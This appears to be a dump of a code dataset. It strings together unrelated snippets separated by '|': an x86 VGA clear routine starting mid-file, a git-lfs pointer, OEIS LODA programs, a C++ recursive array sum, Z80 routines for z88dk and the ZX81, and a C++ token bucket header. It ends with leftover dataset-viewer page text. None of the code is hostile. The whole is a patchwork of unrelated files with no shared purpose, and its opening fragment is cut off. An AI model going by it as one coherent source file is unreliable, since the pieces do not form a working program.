; registers so we don't have to worry about them
pusha
; Set up constants
mov ebx, vga_extent
mov ecx, vga_start
mov edx, 0
; Do main loop
clear_protected_loop:
; While edx < ebx
cmp edx, ebx
jge clear_protected_done
; Free edx to use later
push edx
; Move character to al, style to ah
mov al, space_char
mov ah, style_wb
; Print character to VGA memory
add edx, ecx
mov word[edx], ax
; Restore edx
pop edx
; Increment counter
add edx,2
; GOTO beginning of loop
jmp clear_protected_loop
clear_protected_done:
; Restore all registers and return
popa
ret
space_char: equ ` `
|
version https://git-lfs.github.com/spec/v1
oid sha256:926f7099d83b4b8edbfad93ed07566b6adcc0de204bb44e03ba3b59ca43f40d1
size 9717
|
; A053589: Greatest primorial number (A002110) which divides n.
; 1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,30,1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,30,1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,6,1,2,1,2,1,30,1,2,1,2,1,6,1,2,1,2
add $0,1
mov $1,1
mov $2,2
mov $3,$0
mov $4,$0
lpb $3
mov $3,$0
mov $5,$4
mov $6,0
lpb $5
sub $3,1
add $6,1
mov $7,$0
div $0,$2
mod $7,$2
cmp $7,0
sub $5,$7
lpe
cmp $6,0
cmp $6,0
mov $7,$2
pow $7,$6
mul $1,$7
add $2,1
lpe
mov $0,$1
|
// Given an array calculate the sum of array
/*
Input details :-
N denote the size of a array
Example :-
Input :- N = 5
arr = [10, 20, 30, 40, 50]
Output :- 150
Input :- N = 1
arr = [20]
Output :- 20
*/
#include <iostream>
using namespace std;
int Sum_of_n_number(int *arr, int n)
{
// Base case
if(n==0)
return arr[n];
// Self Work
int currNum = arr[n];
// Recursive Assumption
return currNum + Sum_of_n_number(arr, n-1);
}
int main() {
int n;
cin>>n;
int arr[n];
for(int i = 0; i<n; i++)
cin>>arr[i];
int sum = Sum_of_n_number(arr,n-1);
cout<<"Sum of array is : "<<sum<<endl;
return 0;
}
/*
Input
5
10 20 30 40 50
Output
Sum of array is : 150
*/ |
; A213243: Number of nonzero elements in GF(2^n) that are cubes.
; 1,1,7,5,31,21,127,85,511,341,2047,1365,8191,5461,32767,21845,131071,87381,524287,349525,2097151,1398101,8388607,5592405,33554431,22369621,134217727,89478485,536870911,357913941,2147483647,1431655765,8589934591,5726623061,34359738367,22906492245,137438953471,91625968981,549755813887,366503875925,2199023255551,1466015503701,8796093022207,5864062014805,35184372088831,23456248059221,140737488355327,93824992236885,562949953421311,375299968947541,2251799813685247,1501199875790165,9007199254740991
add $0,1
mov $1,2
pow $1,$0
sub $1,1
dif $1,3
mov $0,$1
|
SECTION code_fp_math48
PUBLIC am48_dpop
am48_dpop:
; pop AC' from stack
;
; enter : stack = double, ret
;
; exit : AC'= double
;
; uses : af, bc', de', hl'
exx
pop af
pop hl
pop de
pop bc
push af
exx
ret
|
;
; ZX 81 specific routines
; by Stefano Bodrato, Oct 2007
;
; Copy a variable from basic
;
; int __CALLEE__ zx_getstr_callee(char variable, char *value);
;
;
; $Id: zx_getstr_callee.asm,v 1.1 2008/07/25 15:31:25 stefano Exp $
;
XLIB zx_getstr_callee
XDEF ASMDISP_ZX_GETSTR_CALLEE
LIB zx81toasc
zx_getstr_callee:
pop bc
pop hl
pop de
push bc
; enter : hl = char *value
; e = char variable
.asmentry
ld a,e
and 31
add 69
ld (morevar+1),a
ld (pointer+1),hl
ld hl,($4010) ; VARS
loop: ld a,(hl)
cp 128
jr nz,morevar
ld hl,-1 ; variable not found
ret
morevar:
cp 0
jr nz,nextvar
inc hl
ld c,(hl)
inc hl
ld b,(hl)
inc hl
pointer:
ld de,0
;-----------------------------
.outloop
call zx81toasc
ld (de),a
inc hl
inc de
dec bc
ld a,b
or c
jr nz,outloop
;------------------------------
; ldir
inc de
xor a
ld (de),a
ld hl,0
ret
nextvar:
call $09F2 ;get next variable start
ex de,hl
jr loop
DEFC ASMDISP_ZX_GETSTR_CALLEE = asmentry - zx_getstr_callee
|
; A051063: 27*n+9 or 27*n+18.
; 9,18,36,45,63,72,90,99,117,126,144,153,171,180,198,207,225,234,252,261,279,288,306,315,333,342,360,369,387,396,414,423,441,450,468,477,495,504,522,531,549,558,576,585,603,612,630,639,657,666
mul $0,6
div $0,4
mul $0,9
add $0,9
|
/*!
\file token_bucket.inl
\brief Token bucket rate limit algorithm inline implementation
\author Ivan Shynkarenka
\date 07.12.2016
\copyright MIT License
*/
namespace CppCommon {
inline TokenBucket::TokenBucket(uint64_t rate, uint64_t burst)
: _time(0),
_time_per_token(1000000000 / rate),
_time_per_burst(burst * _time_per_token)
{
}
inline TokenBucket::TokenBucket(const TokenBucket& tb)
: _time(tb._time.load()),
_time_per_token(tb._time_per_token.load()),
_time_per_burst(tb._time_per_burst.load())
{
}
inline TokenBucket& TokenBucket::operator=(const TokenBucket& tb)
{
_time = tb._time.load();
_time_per_token = tb._time_per_token.load();
_time_per_burst = tb._time_per_burst.load();
return *this;
}
} // namespace CppCommon
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.